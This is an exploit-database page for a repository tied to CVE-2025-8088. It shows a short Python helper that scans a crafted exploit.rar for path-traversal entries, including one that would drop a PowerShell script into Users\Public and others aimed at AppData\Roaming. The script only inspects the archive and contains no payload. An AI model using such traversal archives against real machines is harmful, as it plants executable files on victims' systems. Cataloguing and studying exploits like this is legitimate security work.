Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files22

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage03_FinalChain/exploit/find_paths.py

Python · 1,010 bytes
import sys

data = open(r"D:\Desktop\网安程设\Amaranth_Project\Stage03_FinalChain\exploit\exploit.rar", "rb").read()

# Find ALL occurrences of "..\" in the file
import re
all_traversal = [m.start() for m in re.finditer(b"\\.\\.\\\\", data)]
print(f"All '..\\' occurences: {all_traversal}")

for pos in all_traversal:
    snippet = data[pos:pos+150]
    null_pos = snippet.find(b"\x00")
    if null_pos > 0 and null_pos < 150:
        name = snippet[:null_pos].decode("utf-8", errors="replace")
    else:
        name = snippet[:80].decode("utf-8", errors="replace")
    print(f"  @ {pos}: {name}")

# Check if the first patch is the PS1
print(f"\nPS1 check: {data.find(b'..\\\\..\\\\..\\\\Users\\\\Public\\\\FinalChain_Embedded.ps1')}")
print(f"LNK check: {data.find(b'..\\\\..\\\\AppData')}")
print(f"LNK2 check: {data.find(b'AppData\\\\Roaming')}")

# Check all ":" instances near "..\"
for pos in all_traversal:
    pre = data[max(0,pos-5):pos]
    print(f"  Prefix before {pos}: {pre.hex()} = {pre}")